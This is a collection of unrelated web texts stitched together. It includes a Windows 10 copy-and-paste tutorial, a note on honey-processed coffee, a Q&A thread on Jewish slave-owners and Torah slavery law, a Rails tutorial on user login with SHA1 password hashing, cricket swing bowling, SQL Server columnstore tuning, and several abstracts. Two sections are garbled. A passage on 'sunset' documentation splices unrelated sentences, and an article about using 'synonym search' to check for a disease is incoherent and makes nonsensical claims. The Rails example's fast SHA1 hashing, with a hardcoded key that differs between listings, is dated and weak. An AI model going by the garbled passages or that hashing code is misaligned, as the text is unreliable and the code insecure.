How to Copy and Paste in Windows 10.
Copy & Paste is a way of duplicating a file (a document, picture, video etc), and then placing the file somewhere else on your computer.
For example, if you wanted to put some pictures onto a USB stick, but still keep them on your computer, you'd Copy and Paste them to the USB stick.
How to Copy and Paste.
 Add a header to begin generating the table of contents
 Home » Free Computer Course. » How To Copy And Paste In Windows 10.
 How to Copy & Paste.
 To see how Copy and Paste works, we'll use the example of copying a single picture to a USB drive.
 It's the kind of common thing that many of us will want to do from time to time.
 How to Copy.
 The first thing you need to do is to find the file (picture) that you want to copy.
 Navigate to the folder where your picture is located.
 In this first example, it's going to be in your Pictures folder.
 If you're not sure about finding your files click At Home Computer Guide to Navigating Your PC.
 Once you've found your picture, select it by left-clicking on it once.
 A highlight will appear around the file to indicated that it has indeed been selected.
 With the file selected, right-click on it, and the options menu will open.
 Left-click on the word COPY.
 Windows 10 won't give you any indication that it has done anything. All that seems to happen is that the options menu disappears.
 There is also a keyboard shortcut to copy selected items, CTRL (Control) and the letter C.
 How to Paste.
 With the file copied, you now need to navigate to the folder where you want to put (or place) the file.
 Placing the file is called pasting. You're said to Paste the file.
 Navigate to the folder or drive where the file is to be pasted.
 In the left-hand panel, find and left-click once on your USB drive.
 In the main panel, right-click on a bit of free space to open the options menu.
 On the options menu, left-click once on the word PASTE.
 Your file will appear.
 If it's a large file, maybe a video, it may take a little time to transfer.
 Or you can use the keyboard shortcut CTRL (Control) and the letter V. V for Paste, erm, we'll come back to that
 When you use Copy & Paste, what you're doing is telling your computer to make a duplicate (copy) of the selected file/files and then to transfer that duplicate (paste) into the location that you've specified.
 It's a duplicate file.
 When you're copying & pasting files and/or folders, it's important to remember that you're not moving a file/folder as such.
 You are creating an exact duplicate. The original file stays where it is.
 So using the example above, you'd now have two versions of the same picture.
 The original, which remains in your Pictures folder, and the duplicated (or copied) version that is on your USB stick.
 Copy and Paste multiple files/folders.
 As well as using Copy & Paste on single files, you can also use it on multiple files and entire folders.
 Another thing to note. is that the files really don't have to be the same type of files. For example, you can select and copy and paste images, documents and videos all at the same time.
 As an example, let's say you're tidying up your Desktop.
 The first thing to do is to select all the files and folders.
 To do that, hold down the CTRL key on your keyboard and then left-click once on each item.
 You can see what's been selected because a highlight will appear around the file/folder.
 In the image above the highlight appears very faint, but it is there. On your own computer, it should show a little bolder.
 With everything selected, right-click on one of the items.
 It doesn't matter which one you right-click on, but you do have to click directly onto one of them.
 The options menu will appear and now it's exactly the same as copying a single file.
 Left-click COPY.
 Or CTRL + C on your keyboard.
 Again, Windows won't give you any indication that the files and folders have been copied. All that happens when you click COPY is that the options menu disappears.
 Navigate to the folder/drive where you want to place the items.
 In this example, that would be your Documents folder, so left click File Explorer on your Taskbar.
 Or use the keyboard shortcut Windows key + E.
 And then click Documents in the left-hand panel.
 In the main panel, right-click in a bit of free space (not touching anything else) to open the options menu and then left-click PASTE.
 If you're struggling to find some free space to right-click, use the keyboard shortcut CTRL (Control) and the letter V.
 Again it might take a little while for your selected items to be pasted into place, it all depends on the size of the files/folders and the speed of your PC.
 Copy & Paste into a new folder.
 When you're pasting files/folders, you can also create a new folder for them at the same time.
 Handy to know when you're organising your pictures or documents.
 Let's say you wanted to Copy & Paste your holiday pics onto a USB stick, but you wanted to keep them all together in a folder on the stick.
 Select and Copy all your pictures just as above.
 Navigate to your USB drive.
 To create a folder to put your pictures into, right-click on the main panel in a bit of free space to open the options menu.
 Move your pointer onto the word NEW. A second menu appears, left-click FOLDER.
 A "New Folder" appears. Give the folder a name.
 Alternately you could use the keyboard shortcut CTRL + Shift + N to create your New Folder.
 We covered creating folders here How To Create Name Rename And Delete Folders
 With your folder suitably named, right-click on it, then left-click PASTE.
 Is the copy the same as the original?
 In a word, yes it is. Whether you're copying pictures, videos music or whatever, the copied version of the file is exactly the same as the original version.
 That's because of the way in which computers store data (files).
 Take a look at the image opposite. It's a work of art, and as such, can't be replicated. At least not on canvas.
 In our human world, it's generally the case that the original is better than the copy.
 Once the image has been digitised, stored on a computer, it's no longer paint and canvas.
 It's ones and zeros. That's how computers store all your files.
 So what we humans see as a picture, what the PC sees is a series of ones and zeros (bits).
 So when a computer copies a file, it simply makes a note of the ones and zeros and the order in which they appear.
 We've got an At Home Computer Guide about how computers store data here How Does a PC Store Data
 Copy & Paste is just one of those things that you'll need to do on your computer on a regular basis. It's how you can move files and folders around with ease.
 Windows 10 is packed with keyboard shortcuts, most of which you'll rarely need, but CTRL + C for Copy and CTRL + V for Paste are two that you really do want to take the time to learn.
 PS. Why V for Paste? That's easy to answer. CTRL + P is already taken, it tells the computer to print. So why use the letter V? It's next to the letter C on your keyboard.
 tick blue
 Next Page.
 Next we're going to look at Cut and Paste. Almost the same, but different.


text:
Coffee processing is about the method used to clean and dry the coffee so that it is ready to be exported home to us coffee-drinking Danes. There are three main methods used to process coffee: Natural, Honey and Washed. Here we take a closer look at honey. And no, it's not coffee with sweet and golden stuff added.
What is honey coffee?
Honey is a type of processing that transforms coffee beans into the type we know and love here at home. A bit like washed coffee, the coffee beans are first hulled, but the inner layer surrounding the bean, called the sugar skin, remains intact. The sugar in the husk breaks down during drying, creating a sticky, honey-like consistency that clumps the coffee beans together. And this is where the name also comes from.
Honey processing offers endless possibilities for new and complex flavour profiles. Compared to a classic natural, honey coffees tend to be sweet and full-bodied, but they also have a clean taste and a pleasant acidity.
As it is with many other processes here in the world of (exquisite) coffee, there are also different variations of honey that tell We look at some of them:
What is yellow honey?
Yellow honey is often half washed, leaving a little more sugar layer around the bean.
What is red honey?
Higher humidity during drying gives the coffee a reddish colour, hence red honey, and a greater sweetness and fruitiness in the cup. Here, none of the coffee's pulp is washed off.
What is black honey?
Black honey still has a lot of pulp sitting around the bean. The coffee is dried under humid conditions and the dried sugar gives the coffee an almost completely black colour.

source: m-a-p/FineFineWeb


Sign up ×
Since there was slavery in the Americas between their discovery and 1856, do we know of any Jewish slave-owners there who observed slavery-related laws of Judaism?
share|improve this question
Great question. You are not the first one to have wondered about it. There seems to be little information addressing this question directly, but check out this book, in which it is at least a minor concern of the author to point out that upstanding Jews may have been slave owners under the law in the Western Hemisphere. – WAF Jul 22 '11 at 14:56
Are there specific laws you are wondering about? – Gershon Gold Jul 22 '11 at 15:38
For that matter, I wonder if there were any Christian American slave-owners who explicitly observed the Torah's laws for slavery. – Isaac Moses Jul 22 '11 at 19:11
The Fugitive Slave Act of 1850 was contrary to the Torah (Devarim 23:15-16). – Daniel ben Noach Jul 24 '11 at 7:29
We know that the laws of an Eved Ivri would not apply to African slaves in America. I doubt any slaves went through a half conversion to become an Eved Knani. What's left is a plain slave to whom, IINM, apply only the laws of the state (Dina D'Malchuta). IMHO the question needs to be a bit more focused. – David Perlman Jul 25 '11 at 11:11
3 Answers 3
From a conversation with Eli Faber (A professor of history at John Jay College in New York and author of Jews, Slaves and the Slave Trade: Setting the Record Straight):
The only thing I have encountered is a description of how, in Jamaica, the Jewish slave owner gave his slaves all of Saturday (Shabbat) as well as Sunday off. This was very significant because in Jamaica (I believe unlike in the eventual US), slaves were permitted to work parcels of land and sell the produce at markets. Accordingly, the slaves of Jews were able to plant more, sell more, and earn more money than those owned by non-Jews, who gave their slaves only half a day off on Saturdays, as well as Sundays. For my reference to this, as well as the source in which I found it, see the book I wrote, "Jews, Slaves, and the Slave Trade: Setting the Record Straight," page 62. Jews in Jamaica thus adhered to the Biblical prescription that slaves, servants, etc., were to be able to rest on Saturdays, too; see the fourth of the Ten Commandments ("Exodus," chapter 20). The owners in Jamaica clearly adhered to this Biblical command---though the slaves reportedly chose to work on Shabbat.
Based on his extensive research into the matter, I think we can conclude that this was the extent that Jewish slave owners observed slave-related commandments in the Americas.
share|improve this answer
I wonder if this qualifies as a slave law or a Sabbath law. – user6591 Oct 2 at 15:08
My rav says he heard (can't remember from where) that many of the black Jews in B"SD America are descended from manumitted 'avdei kena'anim. I think there was a Moroccan Jew by the name of Lewi (Levy?) who lived in the southern part of the USA then & they may be his freed slaves (there were Jewish slave owners in N. Carolina as well). These dinim are from M. Yevamoth. Jews are NOT allowed to own stam slaves. A gentile slave can have a trial period w/a potential Jewish owner for 30 days, but he must then decide if he wants to leave his gentile master & convert into a kena'ani slave who will then be obligated in the same dinim that Jewish women are obligated (kashruth, shabbath, etc.). If he opts in, his giyur is done in such a way that he will not be able to speak just before, during & after his immersion so that he doesn't announce that his giyur is not for 'avduth, but for complete Yahaduth (in such a case, he'd be a full geir & NOT a slave, but he'd OWE his value as a slave to his former master & there is such an incident as that in M. Yevamoth in Bavel). A 'evedh kena'ani's slavery is a tiqun for him. R. Eli'ezer holds for giyur in general MILAH is enough. If a gentile wished to convert, performed milah, but DIED before his immersion, then he's buried in a Jewish cemetery. Who, then, is more "Jewish?" Such a man or an 'evedh kena'ani (who we say is NOT exactly Jewish!)?
share|improve this answer
Welcome to the site. Answers should generally be sourced. Otherwise they can be presented as comments. Once you have 50 rep. points you will be able to comment. – mevaqesh Oct 3 at 0:50
Slavery related laws that I'm aware of, refer to Jewish slaves.
There are two types of slavery regarding Jewish slaves. One is when one kidnaps a person and enslaves him. I just happened to read in this week's parsha Ki Seitzei 24:7 "If a man is found kidnaping a person of his brethren among the children of Israel, and he enslaves him and sells him, that kidnaper shall die, and you shall remove the evil from your midst."
The other is in Parshat Mishpatim when a man is in debt and pays off the debt through slavery. That is where all the slavery laws I know of are listed. Regarding how to treat him, how and when to release him etc. Does not have relevance to slavery in Americas.
share|improve this answer
the Torah says if a slave runs away You are NOT to return him to his owners – Chalutzhanal Sep 11 '11 at 23:58
when the original questioner asked about slavery-related laws, i'm assuming he meant releasing after 6 years, giving him a pillow, letting him marry etc... jewish slaves... i don't recall what youre saying being in the Torah. Which parsha is that in? Is it referring to an Eved Ivri? or non jewish slaves? – shoshana Sep 13 '11 at 23:43
It's true that there are fewer laws in the Torah about non-Jewish slaves, but they're there; they include Ex. 21:20-21 (capital punishment for beating one's slave to death), 21:26-27 (the slave goes free if his master knocks out his eye or tooth - halachah explains that this also includes various other body parts), and the one that Chalutzhanal is referring to, which is in Deut. 23:16-17. Aside from all of these, there is the halachic requirement to have one's non-Jewish slave undergo a quasi-conversion and accept some of the mitzvos (see David Perlman's comment on the question). – Alex Sep 14 '11 at 2:22
Your Answer


Talking about science means creating a language which is shared between those who work in the field and those who benefit from it, one which as a whole is rigorous and comprehensible. It means taking in inputs made up of numbers and data and producing outputs which convey the scientific message in an innovative and exciting manner. It means creating a horizon in which updating and learning are part of a journey of continuous growth.
Creo Educational is all this; it is also a Ministry of Health accredited provider according to new Regulation of 2011 for devising, organising and validating all those activities which are part of the Continuing Education in Medicine (ECM) programme for doctors, nurses and in general for all national health workers on a national and international level.
It is a hotbed for scientific matters, a heterogeneous laboratory, made up of experts in management, training and communication, boasting an in-house team skilled in design and in making good use of targeted, modern and technological communication.


This post is part of a series of reviews on the book Agile Web Development With Rails. Check out the Introduction post for a full table of contents along with some initial notes.
In this task we'll learn how to create a simple administration system that will allow restricted access to product maintenance (what we created in task A), orders (task E) and a new user management system.
Let's start with the user management system that will allow us to create, edit, view and delete users in our online shop. These users will have only a login and a password, which will be hashed by the SH1 digest and then saved into the database. We'll use a generator and specify the fields we need, and by doing that the migration will be already filled with the columns we specified. At your application directory, open your command prompt and type this in:
ruby script/generate scaffold user name:string hashed_password:string salt:string
And to make the database base changes happen:
rake db:migrate
Open your database and checkout the new users table with all the fields we specified. As we move on to the user model, notice that this will get a little more complicated due to the fact that we need to work with a plain text password in the application, but with a hashed version in the database, and knowing that complication, it's better to work out the model step by step, so first, let's put in some validation:
require 'digest/sha1'

class User < ActiveRecord::Base

 validates_presence_of :name
 validates_uniqueness_of :name
 attr_accessor :password_confirmation
 validates_confirmation_of :password
 validate :password_non_blank

 private
 def password_non_blank
 errors.add_to_base("Missing password") if hashed_password.blank?
 end
end
You should be familiar with the presence and uniqueness validation, we've used before, but there's a new one named validates_confirmation_of that will basically check if 2 fields are matching, in this case, the password field with a 'Confirm Password' field (this is pretty common). Lastly we validate the existence of a password, but notice we check for its hashed version, not itself, this is because the hashed version is the one being stored in the database, thus, what matters to validation. The require method includes the SHA1 digest library, allowing us to use all its methods, so let's get to that by adding a new private class method to the user model that will encrypt the plain text password into a hashed result:
def self.encrypted_password(password,salt)
 string_to_hash = password + "secretkey" + salt
 Digest::SHA1.hexdigest(string_to_hash)
end
The method above is taking a plain text password (which the user inputs) and a random value named salt, which is used to concatenate to the password and stored in the database making the hashed value even more unpredictable. Notice the "secretkey", which makes the hashed value even richer, and is only available to people who have access to the Rails code. A digest is then applied to that whole string, turning it into a 160-bit hash such as "588aa91d21e71d0e2e3f6febfe8e90e1819ae97f".
The salt was mentioned but a way to create it wasn't, so we'll be doing that by adding another private class method:
def create_new_salt
 self.salt = self.object_id.to_s + rand.to_s
end
Notice that by writing self.salt, we're avoiding that Ruby treats salt as a local variable, which would be of no effect to us since it would just get discarded and collected by the garbage collector, by doing this we're telling it to use the salt= accessor method instead, which updates its value, in this case, we're updating with the object's id (by using an accessor method that returns the object's current id) concatenated with a random string.
Now that we have the hashing process all set up, we need to make it so a plain text password sent by an user input will be treated and sent into the database, to do that, we'll use a so called 'virtual attribute', which is something we can manipulate but doesn't go into the database. Of course we can't use Rails' built-in accessor methods for that virtual attribute, because that would make it go into the database, instead, we'll hard code our own accessors into the user model:
def password
 @password
end
def password=(pwd)
 @password = pwd
 return if pwd.blank?
 create_new_salt
 self.hashed_password = User.encrypted_password(self.password,self.salt)
end
Last thing we need to is create a User class method that checks if the right login/password combination has been supplied and returns that object if it has.
def self.authenticate(name,password)
 user = self.find_by_name(name)
 if user
 expected_password = encrypted_password(password,user.salt)
 if user.hashed_password != expected_password
 user = nil
 end
 end
 user
end
Notice the find_by_name method, whenever an undefined method that starts with find_by_ is called, Rails looks for the last part of the string, in this case, name, and begins a search on the class database table using that part as a string, in this case, it searches all users by their name using the name passed as a parameter.
Let's put everything we did to the user model so far in a single chunk of code:
require 'digest/sha1'
class User < ActiveRecord::Base
 validates_presence_of :name
 validates_uniqueness_of :name
 attr_accessor :password_confirmation
 validates_confirmation_of :password
 validate :password_non_blank
 # 'password' is a virtual attribute
 def password
 @password
 end
 def password=(pwd)
 @password = pwd
 return if pwd.blank?
 create_new_salt
 self.hashed_password = User.encrypted_password(self.password,self.salt)
 end
 def self.authenticate(name,password)
 user = self.find_by_name(name)
 if user
 expected_password = encrypted_password(password,user.salt)
 if user.hashed_password != expected_password
 user = nil
 end
 end
 user
 end
 private
 def password_non_blank
 errors.add_to_base("Missing password") if hashed_password.blank?
 end
 def self.encrypted_password(password,salt)
 string_to_hash = password + "wibble" + salt
 Digest::SHA1.hexdigest(string_to_hash)
 end
 def create_new_salt
 self.salt = self.object_id.to_s + rand.to_s
 end
end
Moving on to the administration itself, let's edit the user controller file that was generated by scaffold, first, the index method:
def index
 @users = User.find(:all, :order => :name)
 respond_to do |format|
 format.html # index.html.erb
 format.xml { render :xml => @users }
 end
 end
All we did was alter the first second line of code to return all users to the @users instance variable. Moving on to the create method:
def create
 @user = User.new(params[:user])
 respond_to do |format|
 if @user.save
 flash[:notice] = "User #{@user.name} was successfully created."
 format.html { redirect_to(:action => :index) }
 format.xml { render :xml => @user, :status => :created, :location => @user }
 else
 format.html { render :action => "new" }
 format.xml { render :xml => @user.errors, :status => :unprocessable_entity }
 end
 end
 end
This time we added a flash notice and an index redirection, because it really doesn't make sense to redirect to the edit page. Finally, the update method:
def update
 @user = User.find(params[:id])
 respond_to do |format|
 if @user.update_attributes(params[:user])
 flash[:notice] = "User #{@user.name} was successfully updated."
 format.html { redirect_to(:action => :index) }
 format.xml { head :ok }
 else
 format.html { render :action => "edit" }
 format.xml { render :xml => @user.errors, :status => :unprocessable_entity }
 end
 end
 end
Same flash notice and redirection as the create method.
We have our model and our controller ready, now we did to edit some view files, let's start by the index.html.erb (inside the user folder, of course)

Listing users

<table


The sunset documents
But we've never had a badge set for a discontinued beta feature either. Up to that point, most new features on Stack Exchange were developed with input from Meta or entirely internally.
to sunset something
The business pitch for Documentation was that it'd bring in new users who might be in the market for a job. We have a longstanding policy of preserving reputation even after worthwhile content is removed.
Sunset product announcement
Archive Media Archive Media are the CDs or DVDs which contain all of the sunset documentation components and artifacts described above and which are used to perform a system reconstitution and documentation. We also have a longstanding policy against revoking badges. This specification does not place any constraints on the nature of the linked resource, which can be targeted to humans, machines, or both. The most important thing we're looking for in answers are feedback on the mechanics sunsetting, especially making the content available to contributors and repairing broken links. Such information may, for example, instruct consumers to use a migration rule so that sunset resources can be accessed at new URIs. However, since this information is provided by the resource itself, it does have some credibility. This is achieved by using header fields that allow clients and intermediaries to better understand when a resource representation can be reused or when resource state and, thus, the representation may have changed.
What about links to Documentation? Normative References. The Sunset header field SHOULD be treated as a resource hint, meaning that the resource is indicating and not guaranteeing with certainty its potential retirement.
Clients can decide to ignore this information, adjust their own behavior accordingly, or alert applications or users about this timestamp. While it may not yet be appropriate to use HTTP redirect status codes 3xxit may be interesting for clients to learn about the service's plan to take down the original resource.
Software sunset letter
While we could just retire them , it seems confusing to show expired Documentation features on the list of badges. The Sunset header field SHOULD be treated as a resource hint, meaning that the resource is indicating and not guaranteeing with certainty its potential retirement. The Sunset header field does not expose any information about which of those behaviors can be expected. But they still have to account for the fact that resource state can change in the meantime and that Sunset information is a hint and, thus, future resource availability may differ from the advertised timestamp. References If the linked resource does provide machine-readable information, consumers should be careful before acting on this information. Security Considerations Generally speaking, information about upcoming sunsets can leak information that otherwise might not be available.
Rated 7/10 based on 111 review
Download
What is sunsetting?


text:
Indicadores de produção científica - Série histórica 2000-2004 CEFET-RN
Leite, José Yvan Pereira
Araújo, André Luis Calado
Santos, Jerônimo Pereira dos
Monte, Glauco Teixeira do
MetadadosMostrar registro completo
This work presents a historical rescue of the implantation of research actions in CEFETRN. It shows the distribution of research groups in performance in 2004 and analyzes the distributions for educational management, sex, the teaching insertion in group of research and post-graduation titles. These data were collated from the productivity of the researchers in relation to the educational management and the group where it is tied. A growth of 155% of the groups of research was observed, reaching 23 groups, as also a significant increase of formation in post-graduation courses. Productivity grows softly. About 27% of the professors are inserted in research groups, and the Department of Natural Resources, for example, presents 80% of its professors in groups and its intellectual production represents 56% of the whole Institution in the period of 2000-julho/2004. The relation of doctors and students per group of research is 0.6 with growth, respectively of 27.2% and 149.5% in the period of 2002-julho/2004.

source: openbmb/Ultra-FineWeb


text:
The science of swing is a matter of much debate and, while no one can be exactly certain what is the source on any given day, the end result is sideways movement, often significantly greater than that produced by seam bowlers. It is also generated through the air as opposed to off the pitch like seam bowlers. The key factors in producing swing are the following:
- Uneven wear on the ball - This is achieved by polishing one side of the ball incessantly during the day, while the other side continues to experience wear and tear. The result is a disparity in the aerodynamic qualities of either side.
- Raised seam of the ball - The position of the ball is absolutely pivotal.
- Speed of delivery - Without going into the specific science of turbulent flow as against laminar flow, swing bowling requires reduced pace, with medium fast and fast medium bowlers (and even medium pacers) taking advantage as a result. When combined with a raised seam and differences in the quality of either side of the ball, sideways movement is generated in the direction of the turbulent side.
- Grip on the ball - See below.
- Weather conditions - Particularly significant in England, the weather can improve or damage the chances of swing. Overcast or humid conditions are generally conducive to swing bowling, while beautiful sunshine can render the bowler much less effective.
There are two stock deliveries of the swing bowler which pertain to the grip and the raised seam of the ball:
- Out-swinger - To achieve an out-swinger, the bowler must hold the ball with the rough side placed on the left and grip it with a vertical seam and the first two fingers on either side of it. During the delivery, the bowler then angles the seam slightly left. The result is that the ball swings towards the off-side and away from the right-handed batsman (hence the alternative term 'away swinger').
- In-swinger - Again a vertical seam is necessary but the first two fingers must be across the seam angling slightly towards the right (the leg side to a right-handed batsman). The seam must then be angled towards the right before release, giving the ball a chance to move into the right-handed batsman (towards the leg-side).

source: HuggingFaceFW/fineweb-edu


How to use the synonym function to check if you have the disease September 8, 2021 September 8, 2021 admin
The synonym search tool is an extension of the Google search box.
It lets you search for the word 'muscle' to find out if it's the cause of muscle loss.
But it also shows you whether it's a synonym for 'muscular'.
The Google search bar is located at the top of the page and lets you select your synonym.
If you click on the word muscle, you'll see a list of synonyms.
If you click one of the other synonyms, you will see the list of other synonym searches available.
You can also search for 'dyskinesia' to see if it is a synonymous word for muscle wasting.
And if you're not feeling lucky, you can also browse through the list to find other synomys that are synonyms for the same word.
If you have trouble finding the word that's synomised with muscle, the synonyms are there for you to check out.
Find out more about the synomedia search functionHere's how to find synonyms using the synamer.
Find synonyms in the dictionaryThere are a number of ways to find words in the English language.
Some of these can be difficult to search for, and so Google's search bar doesn't let you click the search button to search.
The search bar will let you search a word to find its synonym in the dictionaries of other words.
There are two options for searching the dictionary.
The first option lets you click 'Show search results' to show all the search results for a word.
You can use this to check for synonyms and the other searches.
But if you need more than the first option, you may want to use Google Translate to try and find synonym meanings.
The other option lets your Google account be used to translate the word meaning into your native language.
You will need to register with Google to access the Google Translator.
This is useful if you want to translate a word meaning 'skin' into another language, or you need to add a word or phrase that has no meaning in the other language.


text:
Flood routing through reservoirs serves several major functions. It makes possible the determination of the effect of a reservoir, whether constructed for flood control purposes alone or for other purposes, on historic or predicated future floods at the reservoir site. The effect at the dam site then provides a basis for calculating the effect downstream. It also aids in obtaining the proper manipulation of gated spillways on multiple purpose reservoirs to provide the most advantageous flood control on the stream and at the same time make the best use of the water for power, irrigation, or other purposes.
Flood Routing, Reservoirs, Pecos River, Alamogordo Dam, Haines Method, Horton Method, Spillway
Level of Degree
First Committee Member (Chair)
Second Committee Member
Third Committee Member
Fife, Rowland W.. "Methods of Routing Floods Through Reservoirs." (1952). _URL_


text:
PROJECT TITLE :
TCAD-Based Simulation Method for the Electrolyte–Insulator–Semiconductor Field-Effect Transistor
A simulation method for the electrolyte–insulator–semiconductor field-effect transistor (EISFET)-type sensor is proposed based on a well-established commercialized semiconductor 3-D technology computer-aided design simulator. The proposed method relies on the fact that an electrolyte can be described using a modified intrinsic semiconductor material because of the similarity between the electrolyte and the intrinsic semiconductor. The electrical double layer of the electrolyte is characterized in the simulation using the Gouy–Chapman–Stern model. Using the proposed simulation method, we extract the Debye lengths depending on phosphate buffered saline solutions with various concentrations and demonstrate that it is possible to simulate the screening effect. Furthermore, we investigate the responses of the EISFET-type silicon nanowire pH sensor based on our simulation method, which shows good agreement with the reported Nernst limit value.
Did you like this research project?
To get this research project Guidelines, Training and Code... Click Here


text:
our young people have voices
that are often taken for granted, disregarded, or silenced, globally.
the i am project is an initiative designed to bolster creativity and elevate awareness of our young creatives in both vibrant and underrepresented communities. by bringing together indigenous cultures, we create an introductory dialogue spoken through the eyes and ears of our future artistic leaders. the subsequent conversation will forge a lasting imprint for future generations of young people.
in everything we do, we believe in defying popular taste for original design. by doing so, we challenge the status quo to think differently about presentation and education. our programs seek to establish alternative exhibition and listening spaces for indigenous art and music of young people to be exhibited and performed.
our young people have voices that are often taken for granted, disregarded, or silenced, globally. yet there is a conversation happening amongst them, generally relegated to geographic and demographic identities. by giving our young a platform where their voices can be heard, we begin to hear a narrative that may be global in spectrum that identifies their commonalities in their concerns about the world they are living in and one day will inherit.
through art and music they will begin to realize that their voice is not alone and that others have the same or similar concerns. they will start conversations and expand their choices as their curiosity and creativity begins to embrace other culture's art and music. our young will see and hear their evolving world through a different lens while preserving the genius of the aesthetics of art and music.


prior to the filter being applied. As a result, the entire columnstore index was scanned, resulting in a hefty amount of IO and a long wait.
At first glance, it would appear that this performance is unnecessary. SQL Server should be able to determine the minimum effort needed to retrieve data from a large columnstore index first, and properly weigh that against the comparatively tiny dimension tables. This is a common problem and one that can be programmatically solved by avoiding unnecessary joins or leaning MORE on the columnstore index and less on dimension tables. This particular query can be simplified easily to remove this problem:
This brings us back to 32 segment reads while returning the same results. Interestingly enough, the poorly performing query earlier can be "optimized" by adding an aggregate:
This method is cringe-worthy and is not a real optimization 😊 It highlights ways in which the optimizer can hit odd breakpoints that tilt it between good decisions and bad decisions.
Joined tables can incur unnecessary costs even when not used. Consider this example:
The following is the IO for the query:
No columns are returned from the City table, but it is scanned anyway. This is not as big of a surprise as the last performance bomb that was unearthed above. INNER JOINs to a table force the joined columns to be read, even if not needed elsewhere in the query. This is no different than similar queries against OLTP tables. This can exacerbate performance problems related to columnstore indexes as seen previously.
If the City and Employee tables are removed from the 40-second query from earlier, then runtime is reduced to 10 seconds:
This is still painful, but indicative of how joins (necessary or not) can impact the performance of a columnstore index.
Joins and Lookups: Forcing Good Performance
The easiest workaround to these challenges is to retrieve the data needed from the columnstore index first with as few filters and joins as possible. This methodology is not very ORM or app-friendly but can help make important analysis run exceptionally fast.
For example, if there was a need to report on a specific set of customers and the columnstore index query was performing poorly, an easy fix would be to preselect the customer list, similar to this:
In this example, a very specific filter is applied to the Customer dimension. Once applied, the resulting customer keys are stored in a temporary table for use against the columnstore index.
Note that this is typically a reactionary approach. If a report or analytic process is exceptionally slow, then moving metadata searches to a separate query and feeding the results into the columnstore index will often improve performance. I would not recommend proactively implementing changes like this as it does add complexity to the script. Instead, save it as a tool to be used when needed.
This technique is not unique to the OLAP world and can be useful in complex OLTP queries to reduce the size and complexity of a query and encourage better performance from the query optimizer.
Columnstore Indexes and Memory Usage
Like OLTP indexes, all data to satisfy a query needs to be read into the buffer cache prior to being used by the execution engine. Because columnstore indexes are not updated as frequently as OLTP tables, the data that is read into memory can remain there compressed and untouched for an extended period of time. Compounding this, the high compression ratios achieved in columnstore indexes allow more data to reside in the buffer cache for longer, assuming no memory pressure exists.
The combination of these columnstore indexes and OLAP attributes is that memory becomes a key component of columnstore index performance. The following are the storage details for the columnstore index used thus far in this article:
The entire index contains 105 million rows that are squeezed into only 430MB. This is small enough that an entire partition (or even the entire index) could reside in memory for reporting purposes at all times.
Real-world columnstore indexes will typically be much larger than this, to the point where the entire index remaining in memory is not feasible, but we can plan appropriately for memory sizing so that an adequate amount is available to service analytic queries.
Consider a hypothetical production analytic data store with the following details:
 - 10 billion rows of data spread over 5 years (2016-2020)
 - 20 columns in the table, including an ordered date dimension
 - Data is partitioned by quarter based on the date dimension.
 - A single rowgroup of 220 rows consumes 10MB of space.
Based on these details, we can calculate the necessary metrics to assess memory consumption by this index and plan accordingly:
This table contains 20 partitions, each of which has 500 million rows. Each partition contains 477 rowgroups that consume 5GB of space apiece.
Let's say the most common reporting needs are:
 1. Report on current year revenue, which requires aggregating two decimal(20,4) columns and one integer ID columns and filtering by date.
 2. Report year-over-year revenue for the current quarter, which requires two decimal columns and one integer ID column for the current quarter and the same quarter in the previous year.
 3. Report on all metrics aggregated for the current quarter.
These represent very common reporting needs that read current data most frequently and older data less and less. These requests can each be evaluated, and a memory estimate created that allows us to understand how to keep our most commonly queried data in cache indefinitely:
 1. Four columns are needed: This represents 1/5 of the columns in the table and therefore approximately 1/5 of the data. Therefore, one year of data for these four columns will require about 4GB of data. As long as 4GB of memory are free for use by this columnstore index, then the data can remain in memory for an extended period of time and service this query effectively.
 2. The same four columns are needed from query #1 above. This again represents 1/5 of the columns in the table and therefore approximately 1/5 of the data. This time, only two quarters are needed, rather than a full year, one of which is already accounted for in the first query, and the older one which is querying older data. To maintain the data needed by this query, 2GB of data are required, of which 1GB is already included in the first query above.
 3. This query requires the entire current partition, all 20 columns, which requires 5GB, of which 1GB is already accounted for in the previous queries, and 4GB represents new data not already in cache.
The end result is that approximately 6GB of memory are needed to maintain all data required by these queries in cache indefinitely.
Determining the overlap from the above math is a bit convoluted, and most administrators would make an educated estimate, add additional headroom, and move on, rather than attempt the precise calculation. If this were my table and if allocating memory were my responsibility, I'd start with 10GB and budget to add another 2GB per year in the future.
Assuming this memory expenditure is acceptable, then reporting on these metrics will be exceptionally fast as all segments required will remain in memory and rarely need to be read from storage. Reading columnstore index data from memory is exceptionally fast when compared to scenarios where data needs to be read from storage into the cache first.
The key takeaway from this discussion is that query patterns can affect memory consumption, therefore influencing how much computing resources should be allocated for an analytic data store. Understanding query patterns can allow smart decisions to be made with regards to capacity planning and ensuring that important analytics perform as optimally as possible.
How data is queried has a profound impact on performance, indexing needs, and capacity planning.
While columnstore indexes typically perform impressively well, they may choke on more complex queries. Being able to troubleshoot these problems and rewrite queries to be more modular can significantly improve performance by optimizing data retrieval from the large columnstore index and managing smaller dimension lookups separately.
Memory allocation can also be determined based on common query patterns, allowing a server to maintain more than enough cache to service common/critical queries. Since columnstore index data changes far less frequently than OLTP tables, most segments can remain in memory for a long time, with only the newest data being added on a rolling basis.
Combined, these concepts can further improve columnstore index performance and allow analysts and administrators to query large data warehouses or OLAP data stores exceptionally fast.


text:
Andrew Nicholl RHA (_PHONE_) was the son of a Belfast bootmaker and started out as a compositor on the Northern Whig newspaper, but from an early age was interested in art. His artistic talents were spotted by Sir James Emerson Tennent, the Colonial Secretary, who became his patron, funding a trip to London in the early 1830s that enabled Nicholl to develop his style and technique. During this trip Nicholl studied the works in the Dulwich Picture Gallery.
Nicholl's style was greatly influenced by Turner. He often used the sgraffito technique, where the top layer of paint is scraped away to reveal a different colour underneath, to great effect particularly to highlight features such as flowers and grass. Nicholl's early hard edge landscape style later softened to a more romantic and haunting one. His paintings of wild flowers have a slightly surreal quality and many (unusually) have landscape backgrounds.
Nicholl first exhibited at the Royal Academy in 1832. In 1836, he became a founder member of the Belfast Association of Artists and exhibited his work in the Belfast Museum. A year later he became an associate of the Royal Hibernian Academy (RHA), Dublin and went on to become a full member in 1860.
Tennent helped Nicholl gain a government appointment to teach in Ceylon at the Colombo Academy. Nicholl went on to illustrate Tennent's own account of Tennent's career. Nicholl's brother William was also a great supporter and he organised an exhibition of 222 of Andrew's pictures at the Belfast Rambling and Sketching Club. Another large exhibition of his works was held in 1886 as a memorial show when 300 paintings were displayed.
Nicholl lived in Belfast, Ceylon and London and from 1862 until his death in 1886 he lived south of the River Thames including:
